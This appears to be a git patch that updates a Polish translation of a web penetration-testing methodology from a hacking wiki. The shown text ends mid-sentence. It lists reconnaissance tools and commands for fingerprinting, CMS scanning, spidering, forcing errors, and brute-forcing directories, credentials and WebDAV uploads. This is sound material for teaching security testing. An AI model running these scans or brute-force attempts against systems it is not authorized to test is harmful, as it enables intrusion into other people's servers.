From f535c541c588368b0d616284eab6099f6626aa62 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 8 Sep 2025 03:15:28 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/sitecore/REA --- src/SUMMARY.md | 2 +- .../pentesting-web/README.md | 230 +++++++++--------- .../pentesting-web/sitecore/README.md | 193 +++++++++++++++ src/pentesting-web/cache-deception/README.md | 215 ++++++++-------- ...er-gadgets-expandedwrapper-and-json.net.md | 117 +++++---- 5 files changed, 502 insertions(+), 255 deletions(-) create mode 100644 src/network-services-pentesting/pentesting-web/sitecore/README.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index dab618a10..793c88a81 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -447,6 +447,7 @@ - [NextJS](network-services-pentesting/pentesting-web/nextjs.md) - [Nginx](network-services-pentesting/pentesting-web/nginx.md) - [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md) + - [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md) - [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md) - [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md) - [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md) @@ -929,4 +930,3 @@ - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) - [Cookies Policy](todo/cookies-policy.md) - diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index fa3296561..5e26c36cb 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -4,9 +4,9 @@ ## Podstawowe informacje -Usługa webowa jest **najczęstszą i najbardziej rozbudowaną usługą**, a także występuje wiele **różnych typów podatności**. +Usługa webowa jest **najpowszechniejszą i najbardziej rozbudowaną usługą**, a istnieje wiele **różnych typów podatności**. -**Domyślne porty:** 80 (HTTP), 443 (HTTPS) +**Domyślny port:** 80 (HTTP), 443 (HTTPS) ```bash PORT STATE SERVICE 80/tcp open http @@ -26,29 +26,29 @@ web-api-pentesting.md ## Podsumowanie metodologii -> W tej metodologii zakładamy, że będziesz atakować jedną domenę (lub subdomenę) i tylko ją. Zatem powinieneś stosować tę metodologię dla każdej odkrytej domeny, subdomeny lub adresu IP z nieokreślonym serwerem WWW w zakresie. +> W tej metodologii założymy, że atakujesz domenę (lub subdomenę) i tylko ją. Stosuj tę metodologię do każdej odkrytej domeny, subdomeny lub adresu IP z nieokreślonym serwerem web w zakresie. -- [ ] Zacznij od **identyfikacji** **technologii** używanych przez serwer WWW. Szukaj **trików**, które warto mieć na uwadze w trakcie dalszego testu, jeśli uda się zidentyfikować technologię. +- [ ] Zacznij od **identyfikacji** **technologii** używanych przez serwer web. Szukaj **tricks**, które warto mieć na uwadze podczas dalszego testu, jeśli uda Ci się zidentyfikować tech. - [ ] Czy istnieje jakaś **known vulnerability** dla wersji danej technologii? -- [ ] Czy używana jest jakaś **well known tech**? Jakieś **useful trick** pozwalające wydobyć więcej informacji? -- [ ] Czy są jakieś **specialised scanner** do uruchomienia (jak wpscan)? -- [ ] Uruchom **general purposes scanners**. Nigdy nie wiadomo, czy coś znajdą lub czy wyciągną interesujące informacje. -- [ ] Zacznij od **initial checks**: **robots**, **sitemap**, błąd **404** oraz **SSL/TLS scan** (jeśli HTTPS). -- [ ] Rozpocznij **spidering** strony: czas znaleźć wszystkie możliwe **files, folders** i **parameters being used.** Sprawdź także **special findings**. -- [ ] _Uwaga: za każdym razem gdy odkryjesz nowy katalog podczas brute-forcingu lub spideringu, powinien on zostać spiderowany._ -- [ ] **Directory Brute-Forcing**: Spróbuj brute-force wszystkich odkrytych folderów w poszukiwaniu nowych **files** i **directories**. -- [ ] _Uwaga: za każdym razem gdy odkryjesz nowy katalog podczas brute-forcingu lub spideringu, powinien on zostać Brute-Forced._ +- [ ] Czy używana jest jakaś **well known tech**? Jakiś **useful trick** pozwalający wydobyć więcej informacji? +- [ ] Czy uruchomić jakiś **specialised scanner** (np. wpscan)? +- [ ] Uruchom **skanery ogólnego przeznaczenia**. Nigdy nie wiadomo, czy coś znajdą lub czy wyciągną interesujące informacje. +- [ ] Rozpocznij od **initial checks**: **robots**, **sitemap**, **404** error oraz **SSL/TLS scan** (jeśli HTTPS). +- [ ] Zacznij **spidering** strony: czas **find** wszystkich możliwych **files, folders** i **parameters being used.** Sprawdź też **special findings**. +- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._ +- [ ] **Directory Brute-Forcing**: Spróbuj brute force wszystkich odkrytych folderów w poszukiwaniu nowych **files** i **directories**. +- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ - [ ] **Backups checking**: Sprawdź, czy możesz znaleźć **backups** **discovered files** poprzez dopisanie typowych rozszerzeń kopii zapasowych. -- [ ] **Brute-Force parameters**: Spróbuj znaleźć ukryte parametry (**hidden parameters**). -- [ ] Gdy **identified** wszystkie możliwe **endpoints** akceptujące **user input**, sprawdź wszystkie rodzaje **vulnerabilities** związanych z nimi. -- [ ] [Postępuj zgodnie z tą listą kontrolną](../../pentesting-web/web-vulnerabilities-methodology.md) +- [ ] **Brute-Force parameters**: Spróbuj **find hidden parameters**. +- [ ] Gdy **identified** wszystkie możliwe **endpoints** akceptujące **user input**, sprawdź wszystkie rodzaje **vulnerabilities** z nimi związane. +- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md) -## Wersja serwera (podatna?) +## Server Version (Vulnerable?) ### Identyfikacja -Sprawdź, czy dla uruchomionej wersji serwera istnieją **known vulnerabilities**. -**HTTP headers** oraz **cookies** odpowiedzi mogą być bardzo przydatne do identyfikacji używanych **technologies** i/lub **version**. **Nmap scan** może zidentyfikować wersję serwera, ale przydatne mogą być też narzędzia [**whatweb**](https://github.com/urbanadventurer/WhatWeb), [**webtech**](https://github.com/ShielderSec/webtech) lub [**https://builtwith.com/**](https://builtwith.com): +Sprawdź, czy dla uruchomionej **wersji** serwera istnieją **known vulnerabilities**.\ +The **HTTP headers and cookies of the response** mogą być bardzo przydatne do **identify** **technologies** i/lub używanej **version**. **Nmap scan** może zidentyfikować wersję serwera, ale przydatne mogą być także narzędzia [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive @@ -57,15 +57,15 @@ webanalyze -host https://google.com -crawl 2 ``` Szukaj **dla** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) -### **Sprawdź, czy jest WAF** +### **Sprawdź, czy jest jakiś WAF** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Triki technologii webowych +### Web tech tricks -Kilka **trików** do **znajdowania podatności** w różnych dobrze znanych **technologiach** używanych: +Kilka **sztuczek** do **znajdowania podatności** w różnych dobrze znanych **technologiach** używanych: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -100,29 +100,29 @@ Kilka **trików** do **znajdowania podatności** w różnych dobrze znanych **te - [**Werkzeug**](werkzeug.md) - [**Wordpress**](wordpress.md) - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) +- [**Sitecore**](sitecore/index.html) -_Weź pod uwagę, że ta **sama domena** może używać **różnych technologii** na różnych **portach**, w różnych **folderach** i na różnych **subdomenach**._\ -Jeśli aplikacja webowa używa którejkolwiek znanej **technologii/platformy wymienionych wcześniej** lub **jakiejkolwiek innej**, nie zapomnij **wyszukać w Internecie** nowych trików (i daj mi znać!). +_Weź pod uwagę, że ta **sama domena** może używać **różnych technologii** na różnych **portach**, **folderach** i **subdomenach**._\ +Jeśli aplikacja webowa używa jakiejkolwiek dobrze znanej **technologii/platformy wymienionej powyżej** lub **jakiejkolwiek innej**, nie zapomnij **wyszukać w Internecie** nowych trików (i daj mi znać!). -### Source Code Review +### Przegląd kodu źródłowego -Jeżeli **kod źródłowy** aplikacji jest dostępny w **github**, oprócz przeprowadzenia przez **Ciebie testu White box** aplikacji istnieją **pewne informacje**, które mogą być **przydatne** dla bieżącego **Black-Box testing**: - -- Czy istnieje plik **Change-log or Readme or Version** lub coś z **version info accessible** przez web? -- Jak i gdzie są zapisane **credentials**? Czy istnieje jakiś (dostępny?) **file** z credentials (usernames or passwords)? -- Czy **passwords** są w **plain text**, **encrypted** czy jaki **hashing algorithm** jest używany? -- Czy używa jakiegoś **master key** do szyfrowania czegoś? Jaki **algorithm** jest używany? -- Czy możesz **access any of these files** wykorzystując jakąś podatność? -- Czy na **github** są jakieś **interesujące informacje** (solved and not solved) w **issues**? Albo w **commit history** (może jakieś **password introduced inside an old commit**)? +Jeśli **kod źródłowy** aplikacji jest dostępny w **github**, oprócz przeprowadzenia przez Ciebie **White box test** aplikacji istnieją **pewne informacje**, które mogą być **przydatne** dla bieżącego **Black-Box testing**: +- Czy istnieje plik **Change-log**, **Readme** lub **Version** bądź cokolwiek z **informacją o wersji** dostępną przez web? +- Jak i gdzie są przechowywane **dane uwierzytelniające**? Czy istnieje jakiś (dostępny?) **plik** z danymi uwierzytelniającymi (nazwy użytkowników lub hasła)? +- Czy **hasła** są w **tekście jawnym**, **zaszyfrowane** czy który **algorytm haszujący** jest używany? +- Czy używa jakiegoś **klucza głównego** do szyfrowania czegoś? Jaki **algorytm** jest używany? +- Czy możesz **uzyskać dostęp do któregokolwiek z tych plików** wykorzystując jakąś podatność? +- Czy są jakieś **interesujące informacje na githubie** (rozwiązane i nierozwiązane) **zgłoszenia**? Albo w **historii commitów** (może jakieś **hasło wprowadzone w starym commicie**)? {{#ref}} code-review-tools.md {{#endref}} -### Automatic scanners +### Automatyczne skanery -#### Automatyczne skanery ogólnego przeznaczenia +#### Skanery ogólnego przeznaczenia ```bash nikto -h whatweb -a 4 @@ -136,7 +136,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi ``` #### Skanery CMS -Jeśli używany jest CMS, nie zapomnij **uruchomić skanera**, może uda się znaleźć coś ciekawego: +Jeśli używany jest CMS, nie zapomnij **uruchomić skanera**, możesz znaleźć coś ciekawego: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** witryny pod kątem problemów z bezpieczeństwem. (GUI)\ @@ -149,45 +149,45 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> Na tym etapie powinieneś już mieć pewne informacje o serwerze webowym używanym przez klienta (jeśli przekazano jakieś dane) oraz kilka sztuczek, o których warto pamiętać podczas testu. Jeśli masz szczęście, znalazłeś nawet CMS i uruchomiłeś jakiś skaner. +> Na tym etapie powinieneś już mieć pewne informacje o serwerze WWW używanym przez klienta (jeśli dostarczono jakieś dane) oraz kilka trików do zapamiętania podczas testu. Jeśli masz szczęście, znalazłeś nawet CMS i uruchomiłeś skaner. -## Step-by-step Web Application Discovery +## Krok po kroku: odkrywanie aplikacji webowej > Od tego momentu zaczniemy wchodzić w interakcję z aplikacją webową. -### Initial checks +### Wstępne sprawdzenia -**Default pages with interesting info:** +**Domyślne strony zawierające przydatne informacje:** - /robots.txt - /sitemap.xml - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- Sprawdź także komentarze na stronach głównych i pomocniczych. +- Sprawdź również komentarze na stronach głównych i pomocniczych. -**Forcing errors** +**Wymuszanie błędów** -Serwery WWW mogą **zachowywać się nieprzewidywalnie**, gdy wysyłane są do nich nietypowe dane. To może skutkować ujawnieniem **luki** lub **ujawnienia wrażliwych informacji**. +Serwery WWW mogą **zachowywać się nieoczekiwanie**, gdy wysyłane są do nich nietypowe dane. Może to doprowadzić do otwarcia **podatności** lub **ujawnienia wrażliwych informacji**. -- Uzyskaj dostęp do **fałszywych stron** jak /whatever_fake.php (.aspx,.html,.etc) -- **Dodaj "\[]", "]]", and "\[\["** w **wartościach cookie** i **wartościach parametrów** aby wywołać błędy -- Wygeneruj błąd, podając wejście jako **`/~randomthing/%s`** na **końcu** **URL** -- Spróbuj **różnych metod HTTP**, np. PATCH, DEBUG lub błędnych typu FAKE +- Dostęp do **fake pages** takich jak /whatever_fake.php (.aspx,.html,.etc) +- **Dodaj "\[]", "]]", and "\[["** w **wartościach cookie** i **wartościach parametrów**, aby wywołać błędy +- Wygeneruj błąd, podając dane wejściowe jako **`/~randomthing/%s`** na **końcu** **URL** +- Wypróbuj **różne HTTP Verbs** takie jak PATCH, DEBUG lub błędne jak FAKE -#### **Sprawdź, czy możesz wysyłać pliki (**[**PUT verb, WebDav**](put-method-webdav.md)**)** +#### **Sprawdź czy możesz przesyłać pliki (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -Jeśli okaże się, że **WebDav** jest **włączony**, ale nie masz wystarczających uprawnień do **wysyłania plików** w katalogu root, spróbuj: +Jeśli odkryjesz, że **WebDav** jest **włączony**, ale nie masz wystarczających uprawnień do **wysyłania plików** w katalogu root, spróbuj: -- **Brute Force credentials** -- **Upload files** przez WebDav do pozostałych znalezionych folderów na stronie. Możesz mieć uprawnienia do uploadu plików w innych folderach. +- Przeprowadzić **Brute Force** na poświadczeniach +- **Upload files** przez WebDav do **pozostałych** **znalezionych folderów** na stronie. Możesz mieć uprawnienia do wysyłania plików w innych katalogach. -### **SSL/TLS vulnerabilites** +### **SSL/TLS podatności** -- Jeśli aplikacja **nigdzie nie wymusza użycia HTTPS**, to jest **podatna na MitM** -- Jeśli aplikacja **wysyła dane wrażliwe (hasła) przez HTTP**, to jest to poważna luka. +- Jeśli aplikacja **nie wymusza użycia HTTPS** w żadnej części, to jest **podatna na MitM** +- Jeśli aplikacja **wysyła wrażliwe dane (hasła) przez HTTP**, to jest to poważna podatność. -Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) do sprawdzenia **luki** (W programach Bug Bounty prawdopodobnie tego rodzaju luki nie będą akceptowane) oraz użyj [**a2sv** ](https://github.com/hahwul/a2sv) aby ponownie sprawdzić luki: +Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) do sprawdzenia **podatności** (w programach Bug Bounty prawdopodobnie tego rodzaju podatności nie będą akceptowane) i użyj [**a2sv** ](https://github.com/hahwul/a2sv) aby ponownie sprawdzić podatności: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -203,51 +203,51 @@ Informacje o podatnościach SSL/TLS: ### Spidering -Uruchom jakiś rodzaj **spidera** na stronie. Celem spidera jest **znalezienie jak największej liczby paths** z testowanej aplikacji. Dlatego warto użyć web crawlingu oraz zewnętrznych źródeł, aby odnaleźć jak najwięcej poprawnych paths. +Uruchom jakiś rodzaj **spider** w obrębie aplikacji webowej. Celem spidera jest **znaleźć jak najwięcej ścieżek** w testowanej aplikacji. Dlatego należy użyć web crawlingu oraz zewnętrznych źródeł, aby odkryć jak najwięcej poprawnych ścieżek. -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder w plikach JS oraz zewnętrzne źródła (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, z LinkFinder dla plików JS i Archive.org jako źródłem zewnętrznym. -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, dodatkowo wskazuje "juicy files". -- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny CLI HTML spider. Przeszukuje też Archive.org. -- [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest spiderem, ale może być przydatne. Wskaż plik z hostami i plik z pathami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider z możliwością renderowania JS. Wygląda na to, że jest nieutrzymywany, dostępna prekompilowana wersja jest stara, a bieżący kod nie kompiluje się. -- [**gau**](https://github.com/lc/gau) (go): HTML spider korzystający z zewnętrznych dostawców (wayback, otx, commoncrawl). -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Skrypt znajdzie URL-e z parametrami i je wylistuje. +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder w plikach JS oraz zewnętrzne źródła (Archive.org, CommonCrawl.org, VirusTotal.com). +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, z LinkFinder dla plików JS i Archive.org jako źródłem zewnętrznym. +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, również wskazuje „juicy files”. +- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny CLI HTML spider. Przeszukuje również Archive.org +- [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest spiderem, ale może być użyteczne. Możesz podać plik z hostami i plik ze ścieżkami, a meg pobierze każdą ścieżkę dla każdego hosta i zapisze odpowiedź. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider z możliwością renderowania JS. Wygląda jednak na nieutrzymywane — wersja prekompilowana jest stara, a bieżący kod nie kompiluje się. +- [**gau**](https://github.com/lc/gau) (go): HTML spider korzystający z zewnętrznych dostawców (wayback, otx, commoncrawl) +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Skrypt znajdzie URL-e z parametrami i je wypisze. - [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider z możliwością renderowania JS. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider z funkcjami beautify dla JS, potrafi wyszukiwać nowe ścieżki w plikach JS. Warto też rzucić okiem na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest wrapperem dla LinkFinder. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do wyciągania endpointów zarówno z HTML, jak i osadzonego javascriptu. Przydatny dla bug hunterów, red teamerów, infosec ninja. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt w Python 2.7 używający Tornado i JSBeautifier do parsowania względnych URL-i z plików JavaScript. Przydatny do odkrywania żądań AJAX. Wygląda na nieutrzymywany. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dając plik (HTML) wyciąga URL-e używając sprytnego regexa do znajdowania i ekstrakcji względnych URL-i z nieładnych (minified) plików. -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbiera interesujące informacje z plików JS używając kilku narzędzi. -- [**subjs**](https://github.com/lc/subjs) (go): Znajduje pliki JS. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w headless browser i wypisuje wszystkie URL-e załadowane przez stronę. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do discovery treści łączące kilka opcji poprzednich narzędzi. -- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Rozszerzenie Burp do znajdowania path i parametrów w plikach JS. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które podając URL do .js.map pobierze dla Ciebie beautified kod JS. -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Narzędzie używane do odkrywania endpointów dla danego targetu. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkrywa linki z wayback machine (również pobierając odpowiedzi w wayback i szukając dalszych linków). -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (nawet z wypełnianiem formularzy) i również wyszukuje wrażliwe informacje używając specyficznych regexów. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany, wielofunkcyjny GUI web security Crawler/Spider zaprojektowany dla profesjonalistów cyberbezpieczeństwa. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do ekstrakcji URL-i, ścieżek, sekretów i innych interesujących danych z kodu źródłowego JavaScript. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste **Burp Suite extension** do **ekstrakcji parametów i endpointów** z requestów w celu tworzenia niestandardowych wordlist do fuzzingu i enumeracji. -- [**katana**](https://github.com/projectdiscovery/katana) (go): Świetne narzędzie do tego zadania. -- [**Crawley**](https://github.com/s0rg/crawley) (go): Wypisuje każdy link, który jest w stanie znaleźć. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider z możliwością beautify JS, zdolny do wyszukiwania nowych ścieżek w plikach JS. Warto też zerknąć na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest wrapperem LinkFinder. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do ekstrakcji endpointów zarówno z źródła HTML, jak i z osadzonych plików javascript. Przydatne dla bug hunterów, red teamów, infosec ninja. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt Python 2.7 używający Tornado i JSBeautifier do parsowania względnych URL-i z plików JavaScript. Przydatny do odkrywania żądań AJAX. Wygląda na nieutrzymywany. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dając plik (HTML) wyciąga URL-e używając sprytnego regexu do znalezienia i ekstrakcji względnych URL-i z „brzydkich” (minify) plików. +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbiera interesujące informacje z plików JS przy pomocy kilku narzędzi. +- [**subjs**](https://github.com/lc/subjs) (go): Znajdź pliki JS. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w headless browser i wypisuje wszystkie URL-e załadowane podczas ładowania strony. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do odkrywania treści łączące kilka opcji z poprzednich narzędzi. +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Rozszerzenie Burp do znajdowania ścieżek i parametrów w plikach JS. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które mając URL .js.map zwróci beautified kod JS. +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Narzędzie do odkrywania endpointów dla danego targetu. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkrywa linki z wayback machine (również pobierając odpowiedzi z wayback i szukając kolejnych linków). +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (nawet przez wypełnianie formularzy) i również wyszukuje sensititve info używając specyficznych regexów. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany multi-feature GUI web security Crawler/Spider zaprojektowany dla specjalistów cyberbezpieczeństwa. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Pakiet Go i [narzędzie CLI](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do ekstrakcji URL-i, ścieżek, sekretów i innych interesujących danych z kodu źródłowego JavaScript. +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste rozszerzenie **Burp Suite** do **ekstrakcji parametrów i endpointów** z requestów, aby stworzyć custom wordlist do fuzzingu i enumeracji. +- [**katana**](https://github.com/projectdiscovery/katana) (go): Świetne narzędzie do tego. +- [**Crawley**](https://github.com/s0rg/crawley) (go): Wypisuje każdy link jaki jest w stanie znaleźć. ### Brute Force directories and files -Zacznij **brute-forcing** od katalogu root i upewnij się, że przeprowadzasz brute-forcing **wszystkich** **katalogów znalezionych** używając **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz wykonywać brute-forcing **rekursywnie** i dopisywać na początku używanej wordlisty nazwy znalezionych katalogów).\ +Zacznij **brute-forcing** od folderu root i upewnij się, że bruteforce'ujesz **wszystkie** znalezione **katalogi** używając **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz wykonywać to **brute-forcing** **rekursywnie** i dodawać na początek użytej wordlisty nazwy znalezionych katalogów).\ Narzędzia: -- **Dirb** / **Dirbuster** - Dołączone w Kali, **stare** (i **wolne**) ale funkcjonalne. Pozwalają na certyfikaty auto-signed i wyszukiwanie rekursywne. Zbyt wolne w porównaniu z innymi opcjami. -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na certyfikaty auto-signed, ale** pozwala na wyszukiwanie rekursywne. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na certyfikaty auto-signed, nie ma jednak wyszukiwania **rekursywnego**. +- **Dirb** / **Dirbuster** - Dołączone w Kali, **stare** (i **wolne**) ale funkcjonalne. Pozwalają na auto-signed certificates i przeszukiwanie rekursywne. Zbyt wolne w porównaniu z innymi opcjami. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na auto-signed certificates ale** umożliwia przeszukiwanie rekursywne. +- [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na auto-signed certificates, nie ma jednak funkcji **recursive** search. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): To nie jest spider, ale narzędzie, które z listy znalezionych URL-i usuwa "zduplikowane" URL-e. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension do tworzenia listy katalogów z historii Burp dla różnych stron. -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Usuwa URL-e o zduplikowanych funkcjonalnościach (na podstawie importów js). -- [**Chamaleon**](https://github.com/iustin24/chameleon): Używa wapalyzer do wykrywania użytych technologii i dobiera do nich odpowiednie wordlisty. +- [**uro**](https://github.com/s0md3v/uro) (python): To nie jest spider, ale narzędzie które, mając listę znalezionych URL-i, usunie „zduplikowane” URL-e. +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension do tworzenia listy katalogów z historii Burp z różnych stron. +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Usuwa URL-e z zduplikowaną funkcjonalnością (bazując na importach js). +- [**Chamaleon**](https://github.com/iustin24/chameleon): Używa wapalyzer do wykrywania użytych technologii i wyboru słowników do użycia. **Recommended dictionaries:** @@ -264,45 +264,47 @@ Narzędzia: - [https://github.com/six2dez/OneListForAll](https://github.com/six2dez/OneListForAll) - [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists) - [https://github.com/ayoubfathi/leaky-paths](https://github.com/ayoubfathi/leaky-paths) +- [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists) +- [https://github.com/ayoubfathi/leaky-paths](https://github.com/ayoubfathi/leaky-paths) - _/usr/share/wordlists/dirb/common.txt_ - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Zauważ, że za każdym razem gdy podczas brute-forcingu lub spideringu odkryty zostanie nowy katalog, powinien on być poddany Brute-Forcingowi._ +_Uwaga: za każdym razem, gdy podczas brute-forcingu lub spideringu odkryty zostanie nowy katalog, należy go Brute-Forced._ ### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Znajdź broken links w HTML-ach, które mogą być podatne na takeover. -- **File Backups**: Po znalezieniu plików, szukaj backupów plików wykonywalnych ("_.php_", "_.aspx_"...). Typowe warianty nazewnictwa backupu to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp oraz file.old._ Możesz też użyć narzędzia [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Discover new parameters**: Możesz użyć narzędzi takich jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **oraz** [**Param Miner**](https://github.com/PortSwigger/param-miner) **do odkrywania ukrytych parametrów. Jeśli możesz, spróbuj wyszukać** ukryte parametry w każdym wykonywalnym pliku webowym. +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Znajdź broken links wewnątrz HTML, które mogą być podatne na takeovery. +- **File Backups**: Gdy odnajdziesz wszystkie pliki, szukaj backupów wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Typowe warianty nazewnictwa backupu to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp oraz file.old._ Możesz też użyć narzędzia [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- **Discover new parameters**: Możesz użyć narzędzi jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** 